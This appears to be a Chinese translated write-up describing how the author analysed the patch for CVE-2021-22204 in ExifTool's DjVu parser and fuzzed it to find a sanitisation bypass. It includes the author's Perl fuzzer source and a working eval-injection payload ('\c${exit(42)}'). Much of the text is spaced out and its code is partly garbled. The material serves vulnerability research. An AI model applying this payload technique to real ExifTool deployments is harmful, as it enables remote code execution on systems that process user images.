搜索

[29027] 2021-06-22_从修复到漏洞利用：ExifTool中CVE-2021-22204的任意代码执行

文档创建者：s7ckTeam
浏览次数：260
最后更新：2025-01-19
2021-06-22_从修复到漏洞利用：ExifTool中CVE-2021-22204的任意代码执行 从 修 复 到 漏 洞 利 用 ： E x i f T o o l   中   C V E - 2 0 2 1 - 2 2 2 0 4   的 任 意 代 码 执 行 O t s 安 全   2 0 2 1 - 0 6 - 2 2 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍           - 点 击 图 文 广 告   =   打 赏 这 是 我 （ 与 许 多 其 他 人 一 样 ） 如 何 独 立 构 建   C V E - 2 0 2 1 - 2 2 2 0 4   概 念 证 明   ( P o C )   的 叙 述 性 演 练 。 这 段 旅 程 中 包 括 我 遇 到 的 死 胡 同 ， 以 及 我 一 路 走 来 的 思 考 过 程 。 其 中 大 部 分 是 在 其 他   P o C   和 文 章 发 表 之 前 完 成 的 ， 但 是 当 我 意 识 到 它 们 时 ， 我 很 高 兴 在 自 己 的 过 程 中 从 这 些 其 他 报 告 中 获 得 灵 感 。 背 景 背 景 E x i f T o o l 是 一 个   P e r l   库 和 命 令 行 界 面   ( C L I )   应 用 程 序 ， 用 于 读 取 、 写 入 和 编 辑 各 种 图 像 和 文 档 格 式 的 元 数 据 。 例 如 ， 它 可 用 于 从   J P G   图 像 中 删 除 标 识 元 数 据 。 它 被   G i t L a b   使 用 ， 这 就 是 最 初 发 现 此 问 题 的 方 式 ， 并 且 可 能 还 有 许 多 其 他   W e b   应 用 程 序 。 以 下 是 N I S T   国 家 漏 洞 数 据 库   ( N V D )   中 C V E - 2 0 2 1 - 2 2 2 0 4 跟 踪 页 面 的 片 段 ： E x i f T o o l   7 . 4 4   及 更 高 版 本 中   D j V u   文 件 格 式 中 的 用 户 数 据 中 和 不 当 会 导 致 在 解 析 恶 意 图 像 时 执 行 任 意 代 码 。 此 外 ， O S S - s e c u r i t y   邮 件 列 表 中 引 用 的 电 子 邮 件 说 ： 该 错 误 可 以 从 多 种 有 效 文 件 格 式 触 发 。 有 趣 的 ！ 我 们 在 一 个 可 能 被 广 泛 使 用 的 库 中 执 行 任 意 代 码 ， 可 以 从 各 种 不 同 类 型 的 输 入 访 问 。 可 以 想 象 这 对 于 接 受 用 户 上 传 的 图 像 或 文 档 的   W e b   应 用 程 序 可 能 带 来 的 危 险 。 让 我 们 看 看 我 们 是 否 能 弄 清 楚 这 里 发 生 了 什 么 。 初 步 调 查 初 步 调 查 C V E - 2 0 2 1 - 2 2 2 0 4 的 漏 洞 报 告 包 含 指 向 G i t H u b 中   E x i f T o o l   修 复 版 本 差 异 的 链 接 。 看 了 d i f f ， 或 者 只 是 看 了 网 上 的 其 他 评 论 ， 我 们 发 现 D j V u   P e r l 模 块 中 P a r s e A n t 函 数 有 如 下 变 化 ， 用 于 解 析 D j V u 注 解 字 段 ： 此 代 码 是 处 理 P a r s e A n t   中 用 双 引 号 “ 字 符 包 裹 的 文 本 的 案 例 的 一 部 分 。 因 此 ， 如 果 注 释 是 a s d f ( h j k l ” 1 2 3 4 ” ， 则 此 函 数 会 将 字 符 串 处 理 为 1 2 3 4 。 对 ( 字 符 以 及 其 他 处 理 有 递 归 ， 但 这 似 乎 不 是 漏 洞 的 一 部 分 。 查 看 差 异 ， 我 们 看 到 旧 版 本 在 $ t o k   上 进 行 了 搜 索 和 替 换 以 对 其 进 行 清 理 ， 然 后 在 $ t o k 上 运 行 e v a l 以 实 现 对 某 些 转 义 的 处 理 ， 例 如 n 。 但 是 ， 新 版 本 使 用 搜 索 和 替 换 来 仅 处 理 预 期 的   C   转 义 ， 并 完 全 删 除 e v a l 。 从 不 完 全 清 理 的 漏 洞 分 类 和 被 删 除 的 e v a l 来 看 ， 我 们 可 以 看 出 我 们 要 在 这 里 专 注 于 获 取 代 码 执 行 。 就 其 核 心 而 言 ， e v a l 用 于 像 这 样 的 不 受 控 制 的 输 入 是 非 常 危 险 的 ， 因 此 任 何 使 用 像 这 样 的 e v a l   的 代 码 都 应 该 经 过 彻 底 审 核 ， 或 者 更 好 地 进 行 重 构 ， 使 其 根 本 不 需 要 e v a l 。 检 查 检 查   R e g e x   和 和   E v a l   的 特 性 的 特 性 P e r l   语 法 和 正 则 表 达 式 可 能 会 变 得 有 点 难 看 。 这 是 正 在 发 生 的 事 情 的 语 法 不 兼 容 的 细 分 ： -                         #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g -                         $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; -                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) -                         $ t o k   =   e v a l   q q { " $ t o k " } ; +                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s ,   a l l o w e d   i n   q u o t e d   t e x t +                         #   ( n o t e :   t h i s   o n l y   c o n v e r t s   a   f e w   o f   t h e m ! ) +                         m y   % e s c   =   (   a   = >   " a " ,   b   = >   " b " ,   f   = >   " f " ,   n   = >   " n " , +                                                 r   = >   " r " ,   t   = >   " t " ,   ' " '   = >   ' " ' ,   ' '   = >   ' '   ) ; +                         $ t o k   = ~   s / ( . ) / $ e s c { $ 1 } | | ' ' . $ 1 / e g s ; $ t o k   = ~   #   a p p l y   s e a r c h / r e p l a c e   r e g e x   t o   $ t o k ,   s a v i n g   m o d i f i e d   v e r s i o n   i n   $ t o k   s   #   s e a r c h / r e p l a c e   r e g e x #   s y n t a x :   s / m a t c h   p a t t e r n / r e p l a c e   p a t t e r n / m o d i f i e r s
我 们 还 应 该 指 出 这 个 正 则 表 达 式 之 前 的 f o r   ( ; ; ) 循 环 ， 它 也 处 理 一 些 ” 和 字 符 ， 这 对 于 清 理 很 重 要 ： 这 部 分 在 补 丁 中 没 有 变 化 ， 但 仍 然 影 响 输 入 的 解 析 方 式 。 基 本 上 ， 它 会 抓 取 输 入 字 符 串 的 其 余 部 分 ， 直 到 下 一 个 ” 未 被 转 义 。 这 很 重 要 ， 因 为   e v a l   的 结 构 是 这 样 的 ： 在   P e r l   中 ， 字 符 串 插 值 是 在 ” 字 符 内 的 字 符 串 上 完 成 的 ， 而 不 是 对 ' 字 符 内 的 字 符 串 进 行 的 。 所 以 ， “ 我 的 $ 字 符 串 ” 将 有 内 容 $ 串 插 了 进 去 ， 而 “ 我 的 $ 字 符 串 ” 不 会 。 为 了 更 容 易 地 在 插 入 的 字 符 串 中 包 含 ” ， 您 可 以 使 用 q q {   . . .   } 。 这 个 e v a l   接 受 $ t o k ， 将 它 包 裹 在 ”   中 以 使 其 成 为 一 个 字 符 串 ， 并 评 估 该 字 符 串 。 如 果 $ t o k 包 含 ” 、 $   或   @ ， 则 会 带 来 插 值 风 险 ， 因 此 我 们 提 前 将 其 过 滤 掉 。 简 而 言 之 ， 这 种 清 理 （ 几 乎 ） 确 保 在 我 们 评 估 之 前 ： 所 有 $ 字 符 都 被 转 义 所 有 @ 字 符 都 被 转 义 没 有 未 转 义 的 ” 字 符 可 以 跳 出 q q { “ $ t o k ” } 保 留 所 有 其 他 转 义 字 符 ， 例 如 n 或 t 。 虽 然 这 看 起 来 很 严 格 ， 但 显 然 这 里 仍 然 存 在 差 距 。 否 则 ， 就 不 会 有 漏 洞 。 死 胡 同 和 杂 项 。 技 巧 在 尝 试 绕 过 消 毒 功 能 之 前 ， 我 尝 试 了 许 多 不 同 的 方 法 。 在 本 节 中 ， 我 们 将 讨 论 我 尝 试 过 的 各 种 方 法 ， 以 及 它 们 是 否 有 效 。 我 建 议 在 此 处 阅 读 该 函 数 的 最 新 易 受 攻 击 版 本 。 这 花 了 我 一 周 的 大 部 分 时 间 来 完 成 。 首 先 ， 我 将 易 受 攻 击 的 函 数 复 制 到 我 自 己 的   P e r l   脚 本 中 ， 这 样 我 就 可 以 只 针 对 易 受 攻 击 的 代 码 进 行 测 试 ， 而 不 必 担 心   E x i f T o o l   的 其 余 部 分 。 这 对 于 分 析 和 理 解 漏 洞 的 根 本 原 因 很 有 用 。 使 用 此 测 试 脚 本 ， 我 尝 试 了 以 下 操 作 ： 手 动 尝 试 不 同 的 转 义 序 列 手 动 尝 试 不 同 的 转 义 序 列 由 于 e v a l ， 处 理 的 转 义 序 列 比 预 期 的 多 得 多 。 例 如 ， x 4 1 会 产 生 一 个 A 字 符 ， 而 像 U 这 样 不 太 知 名 的 转 义 符 也 能 工 作 。 c 是 我 以 前 不 知 道 的 ， 它 处 理 “ 控 制 ” 转 义 序 列 。 例 如 ， c h 在 终 端 中 的 操 作 类 似 于   C t r l + h ， 删 除 前 一 个 字 符 。 我 测 试 并 可 以 验 证 这 是 否 影 响 了 我 们 的 $ t o k 字 符 串 ， 但 我 无 法 弄 清 楚 如 何 使 用 它 来 将 任 何 特 殊 字 符 偷 偷 经 过 消 毒 。 这 个   `   c   `   转 义 最 终 成 为 关 键 ， 直 到 后 来 我 才 明 白 这 一 点 。 没 有   $   或   @   的 字 符 串 插 值 我 找 不 到 任 何 不 需 要 $ 或 @   的 转 义 符 。 像 $ {   … c o d e … } 这 样 的 东 西 似 乎 是 我 们 获 得 代 码 执 行 的 最 佳 选 择 。 我 希 望 像 反 引 号 这 样 的 东 西 会 起 作 用 ， 但 没 有 运 气 。 用   (   递 归 将 两 个 良 性 字 符 串 组 合 成 一 个 邪 恶 字 符 串 来 欺 骗 它 即 使 使 用 ( 进 行 递 归 ，   e v a l   也 只 发 生 在 ” 字 符 内 的 字 符 串 的 基 本 情 况 下 ， 而 不 是 递 归 调 用 函 数 的 组 合 结 果 。 #   ( c a n   u s e   { }   a s   p a t t e r n   d e l i m i t e r s   i n s t e a d   o f   /   i f   w e   w a n t )   {   ( . )   |   (   [ $ @ ]   |   $   )   }   #   w h a t   t o   m a t c h ,   a n d   c a p t u r e   g r o u p s   i n   p a r e n t h e s e s   ( i f   m a t c h ,   s a v e   i n p u t   f o u n d   i n   p a r e n t h e s e s ) #   m a t c h   a n y   s i n g l e   c h a r a c t e r   w h i c h   i s   p r e c e d e d   b y   a   ' ' ,   s a v i n g   t h a t   c h a r a c t e r   i n   c a p t u r e   g r o u p   1   O R #   c a p t u r e   t h e   f o l l o w i n g   m a t c h   i n   c a p t u r e   g r o u p   2 : #         a   ' $ '   c h a r a c t e r   O R #         a   ' @ '   c h a r a c t e r   O R #         a   ' '   c h a r a c t e r   a t   t h e   e n d   o f   t h e   l i n e   ( o r   b e f o r e   a   t r a i l i n g   n e w l i n e ,   t h a n k s   J a k u b ! )   {   ' ' . ( $ 2   | |   $ 1 )   }   #   w h a t   t o   r e p l a c e   e a c h   m a t c h   w i t h #   I F   t h e r e   i s   a   m a t c h   T H E N   r e p l a c e   t h e   m a t c h i n g   t e x t   w i t h #   a   ' '   c h a r a c t e r   f o l l o w e d   b y : #         c a p t u r e   g r o u p   2   i f   i t   e x i s t s   ( $   c h a r a c t e r ,   @   c h a r a c t e r ,   o r   ' '   a t   e n d   o f   l i n e )   O R #         c a p t u r e   g r o u p   1   ( a n y   c h a r a c t e r   t h a t   w a s   e s c a p e d   b y   a   ' ' ) #   ( b e c a u s e   o f   t h e   m a t c h i n g   r e g e x ,   o n e   o f   t h e s e   m u s t   e x i s t )   s g e ;   #   m o d i f i e r s #   s :   t r e a t   e n t i r e   i n p u t   a s   s i n g l e   l i n e #   g :   m a t c h   o n   a n y   o c c u r r e n c e   i n   i n p u t ,   n o t   j u s t   f i r s t #   e :   e v a l   t h e   r e p l a c e   s t r i n g f o r   ( ; ; )   { #   g e t   s t r i n g   u p   t o   t h e   n e x t   q u o t a t i o n   m a r k #   t h i s   d o e s n ' t   w o r k   i n   p e r l   5 . 6 . 2 !   g r r r r #   l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / ( . * ? ) " / s g ; #   $ t o k   . =   $ 1 ; m y   $ p o s   =   p o s ( $ $ d a t a P t ) ; l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / " / s g ;         $ t o k   . =   s u b s t r ( $ $ d a t a P t ,   $ p o s ,   p o s ( $ $ d a t a P t ) - 1 - $ p o s ) ; #   w e ' r e   g o o d   u n l e s s   q u o t e   w a s   e s c a p e d   b y   o d d   n u m b e r   o f   b a c k s l a s h e s l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;         $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g } $ t o k   =   e v a l   q q { " $ t o k " } ;
P e r l   - T   污 点 跟 踪 污 点 跟 踪 P e r l   支 持 使 用 - T 进 行 基 本 的 污 点 跟 踪 ， 这 听 起 来 很 有 希 望 作 为 安 全 控 制 和 分 析 此 错 误 的 一 种 方 式 。 如 上 面 链 接 的 文 档 中 所 述 ： 您 不 能 使 用 从 程 序 外 部 派 生 的 数 据 来 影 响 程 序 外 部 的 其 他 东 西 — — 至 少 ， 不 是 偶 然 的 。 但 是 使 用 - T 运 行 我 们 的 测 试 程 序 ， 我 们 真 正 得 到 的 只 是 一 个 警 告 ， 即 e v a l 正 在 受 污 染 的 内 存 上 运 行 ， 这 是 我 们 已 经 知 道 的 。 我 希 望 这 个 功 能 可 以 对 我 的 清 理 正 则 表 达 式 进 行 某 种 分 析 ， 但 它 是 一 个 比 这 简 单 得 多 的 功 能 。 P e r l 正 则 调 试 正 则 调 试 也 许 我 只 是 不 太 了 解 正 则 表 达 式 ？ 我 们 可 以 调 试 正 则 表 达 式 以 查 看 有 关 如 何 编 译 状 态 机 和 处 理 输 入 以 查 找 匹 配 项 的 详 细 信 息 。 我 们 可 以 使 用 - M r e = d e b u g 为 整 个 脚 本 启 用 此 功 能 ， 但 这 也 会 调 试 我 们 不 感 兴 趣 的 正 则 表 达 式 。 相 反 ， 我 们 可 以 只 使 用   u s e   r e   ' d e b u g ' ; 包 装 我 们 感 兴 趣 的 正 则 表 达 式 。 之 前 并 且 没 有 重 新 “ 调 试 ” ； 之 后 只 调 试 我 们 感 兴 趣 的 代 码 。 这 确 实 有 助 于 我 们 观 察 正 则 表 达 式 ， 因 为 它 在 我 们 的 输 入 上 运 行 。 然 而 ， 它 并 没 有 真 正 帮 助 我 找 到 任 何 绕 过 正 则 表 达 式 匹 配 的 魔 法 字 符 ， 或 者 任 何 其 他 被 证 明 有 用 的 东 西 。 使 用 原 始 使 用 原 始   A S C I I / 字 节 进 行 模 糊 测 试 字 节 进 行 模 糊 测 试 在 这 一 点 上 ， 我 感 到 非 常 难 倒 。 我 想 我 只 会 向 它 扔 字 节 和   A S C I I ， 直 到 我 得 到 一 些 有 希 望 的 东 西 。 生 成 随 机 字 节 很 容 易 ， 生 成   A S C I I   并 不 难 。 添 加 额 外 的 逻 辑 也 很 容 易 ， 例 如 “ 对 于   A S C I I   字 符 ， 有   2 5 %   的 机 会 转 义   A S C I I   字 符 ” 或 “ 有   5 0 %   的 机 会 生 成 特 殊 字 符 ” 以 帮 助 生 成 可 能 更 有 趣 的 字 符 串 。 为 了 正 确 进 行 模 糊 测 试 ， 我 们 需 要 能 够 复 制 任 何 发 现 。 保 存 我 们 尝 试 的 所 有 输 入 是 不 可 行 的 ， 因 此 我 们 以 p r i n t ( " s e e d :   " , r a n d ( ) , " n " ) ; 开 始 我 们 的 脚 本 。 一 种 叫 法 。 一 旦 我 们 知 道 特 定 运 行 的 种 子 ， 我 们 总 是 可 以 通 过 重 用 相 同 的 种 子 来 复 制 它 ， 只 要 我 们 不 改 变 使 用 r a n d ( )   的 任 何 方 式 。 我 们 还 想 减 少 打 印 语 句 ， 而 不 是 使 用 警 告 ； .   通 过 这 种 方 式 ， 我 们 可 以 使 用 p e r l   . / f u z z . p l   & >   f u z z _ l o g . t x t 记 录 有 关 发 现 和 性 能 的 有 趣 输 出 ， 而 不 会 过 度 膨 胀 我 们 的 输 出 。 这 就 是 使 用   G i t   跟 踪 更 改 特 别 有 用 的 地 方 ， 因 为 如 果 没 有 在 该 运 行 中 执 行 的 确 切 代 码 ， 用 于 运 行 的 种 子 将 毫 无 用 处 。 就 其 本 身 而 言 ， 这 并 没 有 真 正 发 挥 作 用 ， 但 后 来 非 常 有 帮 助 。 使 用   D a t a : : C o m p a r e   对   v u l n / f i x e d   版 本 进 行 差 分 模 糊 测 试 由 于 P a r s e A n t 函 数 发 生 了 变 化 ， 也 许 我 们 可 以 比 较 易 受 攻 击 的 版 本 与 固 定 版 本 的 行 为 有 何 不 同 ， 以 帮 助 我 们 找 到 什 么 样 的 输 入 会 导 致 代 码 执 行 ？ 让 我 们 也 将 固 定 函 数 复 制 并 粘 贴 到 我 们 的 代 码 中 。 然 后 ， 我 们 将 相 同 的 输 入 提 供 给 P a r s e A n t   的 任 一 版 本 ， 并 使 用 来 自   C P A N 的 D a t a : : C o m p a r e 模 块 比 较 结 果 数 据 结 构 。 我 们 还 可 以 使 用 内 置 的 D a t a : : D u m p e r 以 人 类 可 读 的 方 式 打 印 数 据 结 构 。 不 幸 的 是 ， 处 理 转 义 的 方 式 有 足 够 的 差 异 ， 我 们 有 大 量 的 输 入 产 生 不 同 的 数 据 结 构 。 所 以 ， 我 们 并 没 有 真 正 从 中 学 到 任 何 东 西 。 解 决 方 案 解 决 方 案 我 厌 倦 了 在 P a r s e A n t 上 缺 乏 进 展 。 似 乎 很 明 显 必 须 有 某 种 方 法 可 以 让 代 码 在 e v a l   中 执 行 ， 但 我 知 道 的 唯 一 方 法 需 要 $ 或 @ 字 符 ， 这 些 字 符 似 乎 很 可 能 被 严 格 转 义 。 看 来 ” 字 符 也 处 理 得 当 。 必 须 有 一 些 神 奇 的 输 入 来 取 消 逃 避 ， 但 我 没 有 想 法 。 在 这 一 点 上 ， 我 把 它 分 解 成 简 单 的 问 题 。 比 如 ， “ 我 们 可 以 只 在   e v a l   上 执 行 代 码 吗 ？ ” 。 经 过 手 动 实 验 ， 我 确 定 这 是 可 能 的 ： 好 吧 ， 这 还 不 错 。 我 们 可 以 只 使 用 “ 来 结 束 字 符 串 并 直 接 执 行 。 但 是 如 果 我 们 对 完 整 的 P a r s e A n t 函 数 使 用 它 ， 这 会 中 断 ： 使 用 ” 是 我 们 获 取 易 受 攻 击 代 码 所 需 要 做 的 全 部 工 作 ， 因 此 我 们 添 加 的 唯 一 可 能 破 坏 我 们 简 单 漏 洞 利 用 的 是 f o r   ( ; ; ) 循 环 处 理 ” 字 符 。 与 其 手 动 再 次 尝 试 完 整 的 问 题 ， 我 想 我 会 重 用 我 之 前 的   f u z z e r   组 件 ， 但 稍 作 修 改 。 这 种 清 理 似 乎 可 以 在 正 确 的 位 置 使 用 一 些 正 确 的 字 符 来 绕 过 ， 这 应 该 可 以 通 过 蛮 力 来 实 现 。 如 果 我 只 是 找 到 正 确 的 字 符 添 加 到 我 的 有 效 负 载 的 开 头 和 结 尾 ， 我 最 终 会 执 行 它 。 这 将 使 用 特 殊 的 退 出 代 码 退 出   f u z z e r ， 所 以 我 知 道 我 s u b   j u s t _ r e g e x _ e v a l ( $ )   { m y   $ t o k   =   s h i f t ;         $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) p r i n t ( " e v a l :   " , j o i n ( ' ' , ( " " " , $ t o k , " " " ) ) ,   " n " ) ;         $ t o k   =   e v a l   q q { " $ t o k " } ; } m y   $ t m p   =   < < ' E O F ' ; " ; e x i t ( 4 1 ) ; " E O F j u s t _ r e g e x _ e v a l ( $ t m p ) ; $   p e r l   . / j u s t _ r e g e x . p l   m a i n : : P a r s e A n t ( )   c a l l e d   t o o   e a r l y   t o   c h e c k   p r o t o t y p e   a t   . / j u s t _ r e g e x . p l   l i n e   2 4 . e v a l :   " " ; e x i t ( 4 1 ) ; " " U s e l e s s   u s e   o f   a   c o n s t a n t   ( " " )   i n   v o i d   c o n t e x t   a t   ( e v a l   3 4 )   l i n e   1 . $   e c h o   $ ? 4 1 $   p e r l   . / t e s t _ r e g e x . p l   m a i n : : P a r s e A n t ( )   c a l l e d   t o o   e a r l y   t o   c h e c k   p r o t o t y p e   a t   . / t e s t _ r e g e x . p l   l i n e   2 4 . e v a l :   " ; e x i t ( 4 1 ) ; " X X X   t o k e n   a f t e r :   ; e x i t ( 4 1 ) ; $   e c h o   $ ? 0
成 功 了 ， 而 不 是 因 为 其 他 原 因 而 崩 溃 。 这 是 我 的 “ 轻 量 级 ” 模 糊 器 的 完 整 来 源 ， 它 结 束 了 工 作 ， 奇 怪 的 评 论 和 所 有 ： u s e   s t r i c t ; # u s e   w a r n i n g s ;   #   t o o   m u c h   i r r e l e v a n t   o u t p u t u s e   D a t a : : C o m p a r e ; u s e   D a t a : : D u m p e r ; s u b   p r o c e s s _ r e g e x ( $ ) { m y   $ d a t a P t   =   s h i f t ; # p o s ( $ d a t a P t )   =   0 ; r e t u r n   u n d e f   u n l e s s   $ $ d a t a P t   = ~   / ( S ) / s g ;       #   g e t   n e x t   n o n - s p a c e   c h a r a c t e r # m y   $ t o k   =   $ $ d a t a P t ; m y   $ t o k   =   " " ; f o r   ( ; ; )   { #   g e t   s t r i n g   u p   t o   t h e   n e x t   q u o t a t i o n   m a r k #   t h i s   d o e s n ' t   w o r k   i n   p e r l   5 . 6 . 2 !   g r r r r #   l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / ( . * ? ) " / s g ; #   $ t o k   . =   $ 1 ; m y   $ p o s   =   p o s ( $ $ d a t a P t ) ; r e t u r n   u n d e f   u n l e s s   $ $ d a t a P t   = ~   / " / s g ;         $ t o k   . =   s u b s t r ( $ $ d a t a P t ,   $ p o s ,   p o s ( $ $ d a t a P t ) - 1 - $ p o s ) ; #   w e ' r e   g o o d   u n l e s s   q u o t e   w a s   e s c a p e d   b y   o d d   n u m b e r   o f   b a c k s l a s h e s l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;         $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g     } #   X X X :   v u l n e r a b i l i t y   h e r e .   W e   c a n   g e t   c o d e   e x e c u t i o n   i n   t h i s   e v a l #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g # u s e   r e   ' d e b u g ' ;     $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; # n o   r e   ' d e b u g ' ; #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) # p r i n t ( " e v a l :   " , j o i n ( ' ' , ( " " " , $ t o k , " " " ) ) ,   " n " ) ;     $ t o k   =   e v a l   q q { " $ t o k " } ; p r i n t ( " [ C R A S H ]   e r r o r :   " ,   @ _ )   i f   @ _ ;   #   A c t u a l l y   I   m i s r e a d   d o c u m e n t a t i o n ;   s h o u l d   h a v e   u s e d   $ @ .   O o p s ! r e t u r n   $ t o k ; } #   u n i f o r m   r a n d o m   b y t e s u b   r a n d _ b y t e ( )   { m y   $ b y t e   =   i n t ( r a n d ( 2 5 6 ) ) ; r e t u r n   c h r ( $ b y t e ) ;   #   c o n v e r t   f r o m   i n t   t o   c h a r a c t e r   ( b y t e ) } #   g e t   a   v a l i d   p r i n t a b l e   A S C I I   c h a r a c t e r   ( 0 x 2 0 - 0 x 7 e ) s u b   r a n d _ a s c i i ( )   { m y   $ v a l   =   i n t ( r a n d ( 0 x 7 e   -   0 x 2 0 )   +   0 x 2 0 ) ; r e t u r n   c h r ( $ v a l ) ; } #   I n p u t s : #   0 )   l e n g t h   o f   r e q u e s t   i n   b y t e s .   M a y   b e   l a r g e r   d u e   t o   e s c a p e s . #   1 )   g i v e   r a w   b y t e s .   I f   t r u e ,   j u s t   t h r o w   b y t e s   a t   u s .   I f   f a l s e ,   s t i c k   t o   p r i n t a b l e   A S C I I s u b   g e n e r a t e _ s t r i n g ( $ $ ) { m y   ( $ l e n g t h ,   $ r a w _ b y t e s )   =   @ _ ;
m y   $ r e s   =   " " ; f o r   ( m y   $ i = 0 ;   $ i   <   $ l e n g t h ;   $ i + + )   { i f   ( $ r a w _ b y t e s )   { #   a c t u a l l y   l e t ' s   j u s t   b e   d u m b   a n d   o n l y   d o   b y t e s   a n d   s e e   w h a t   h a p p e n s #   1 / 4   c h a n c e   o f   e s c a p i n g   t h i s   b y t e ,   j u s t   b e c a u s e   t h a t ' s   ' i n t e r e s t i n g ' i f   ( i n t ( r a n d ( 4 ) )   = =   0 )   {                 $ r e s   . =   " " ;             }             $ r e s   . =   r a n d _ b y t e ( ) ;         }   e l s e   { #   p r i n t a b l e   A S C I I m y   $ v   =   r a n d _ a s c i i ( ) ; i f ( i n t ( r a n d ( 4 ) )   = =   0 )   { #   r a n d o m l y   e s c a p e   s o m e   c h a r a c t e r s                 $ r e s   . =   " " ;             } i f   ( i n t ( r a n d ( 8 ) )   = =   0 )   { #   r a n d o m l y   d o u b l e   s o m e   c h a r a c t e r s                 $ r e s   . =   $ v ;             }             $ r e s   . =   $ v ;         }     } r e t u r n   $ r e s ; } s u b   f u z z ( )   { #   t h e   p l a i n   r e g e x ,   w i t h o u t   a n y   h a n d l i n g   o f   q u o t e s ,   i s   e x p l o i t a b l e   b y   t h i s :   " " ; p r i n t ( ' a s d f ' ) ; " " ; m y   $ p r i n t _ i n p u t s   =   0 ; #   w i l l   e x e c u t e   i n   t h e   e a s i e r   v e r s i o n   w i t h o u t   q u o t e   h a n d l i n g ,   i f   w r a p   w i t h   " m y   $ i n p u t   =   < < ' H E R E ' ; ; e x i t ( 4 2 ) ; ; H E R E     $ i n p u t   = ~   s / s + $ / / ; #   i d e a :   p u t   r a n d o m   t h i n g s   b e f o r e / a f t e r   a   ` p r i n t ( ' a s d f ' ) `   a n d   c h e c k   o u t p u t   f o r   ' a s d f ' #   I f   w e   s e e   i t ,   w e   k n o w   w e   h i t   g o l d !     $ |   =   1 ;   #   s e t   s t d o u t   t o   a u t o f l u s h   ( o u t p u t   p r o p e r l y   s y n c h r o n i z e d   w i t h   s t d e r r ) m y   $ s e e d   =   s r a n d ( 3 5 8 7 2 3 1 6 9 2 ) ;   #   g o t   e x e c u t i o n   w i t h   3 5 8 7 2 3 1 6 9 2   a f t e r   ~ 1   h r p r i n t ( " [ F U Z Z E R ]   f u z z i n g   w i t h   s e e d   $ s e e d n " ) ; m y   $ l a s t _ i   =   0 ; m y   $ l a s t _ t i m e s t a m p   =   t i m e ( ) ; m y   $ t i m e s t a m p _ s t a r t   =   $ l a s t _ t i m e s t a m p ; #   b   > =   a m y   $ e x e c s p e e d _ a   =   0 ; m y   $ e x e c s p e e d _ b   =   0 ; m y   $ e x e c s p e e d   =   0 ; f o r   ( m y   $ i   =   0 ; ;   $ i + + )   { #   X X X   g e n e r a t e   i n p u t   h e r e ! m y   $ p r e   =   g e n e r a t e _ s t r i n g ( i n t ( r a n d ( 6 ) ) ,   u n d e f ) ; m y   $ p o s t   =   g e n e r a t e _ s t r i n g ( i n t ( r a n d ( 6 ) ) ,   u n d e f ) ; m y   $ d a t a   =   j o i n ( ' ' , ( $ p r e ,   $ i n p u t , $ p o s t ) ) ;         $ d a t a   =   j o i n ( ' ' , ( " " " , $ d a t a , " " " ) ) ;   #   o n l y   w i t h   e x t r a   "   h a n d l i n g i f   ( $ i   -   $ l a s t _ i   > =   1 0 0 0 )   { m y   $ t i m e s t a m p   =   t i m e ( ) ; i f   ( $ t i m e s t a m p   >   $ l a s t _ t i m e s t a m p )   {
运 行 它 并 在 晚 餐 后 返 回 ， 我 们 看 到 它 成 功 完 成 。 幸 运 的 我 们 ！ 检 查 我 们 的 日 志 ， 在 使 我 们 的 代 码 正 确 执 行 的 魔 术 组 合 之 前 ， 我 们 看 到 了 很 多 有 趣 的 输 出 。 如 果 我 们 没 有 得 到 完 整 的 答 案 ， 这 些 错 误 和 警 告 仍 然 会 指 向 一 个 有 效 的 漏 洞 ： 有 趣 的 ！ 看 起 来 c @ y 变 成 了 @ y 并 被 e v a l 解 释 为 一 个 不 存 在 的 变 量 。 在 我 们 的 日 志 末 尾 ， 我 们 找 到 了 正 确 执 行 的 金 块 输 入 ， 它 使 用 了 相 同 的 技 巧 ： " % 2 c $ { ; e x i t ( 4 2 ) ; ; * } C ] " ， 或 者 在 我 们 简 化 之 后 它 ， " c $ { e x i t ( 4 2 ) } " 。 正 是 在 这 一 刻 ， 我 意 识 到 我 在 五 天 前 在 p e r l o p   文 档 中 读 到 了 这 个 确 切 的 内 容 。 我 一 直 在 用 它 来 解 开   P e r l   字 符 串 插 值 中 更 晦 涩 的 部 分 ： 此 外 ，     c X   产 生   c h r ( 2 8 ) 。 "   X   "   表 示 任 意   X 幸 运 的 是 c h r ( 2 8 ) ， A S C I I   中 的 “ 文 件 分 隔 符 ” 字 符 ， 似 乎 不 会 导 致   P e r l   字 符 串 插 值 的 问 题 。 多 么 有 用 的 巧 合 啊 ！ c $ 看 起 来 已 经 转 义 到 正 则 表 达 式 ， 但 变 为 $ 。 同 样 ， c $ 变 成 c $ ， 然 后 变 成 $ 。 我 们 现 在 可 以 将 我 们 的 魔 法 插 值 字 符 隐 藏 到 我 们 的   e v a l   中 并 执 行 代 码 。 F u z z e r   事 后 改 进 事 后 改 进 以 下 是 我 在 模 糊 器 工 作 后 的 一 些 想 法 ， 关 于 它 如 何 更 快 地 找 到 工 作 输 入 ： 嵌 套 输 入 的 机 会 有 一 些 机 会 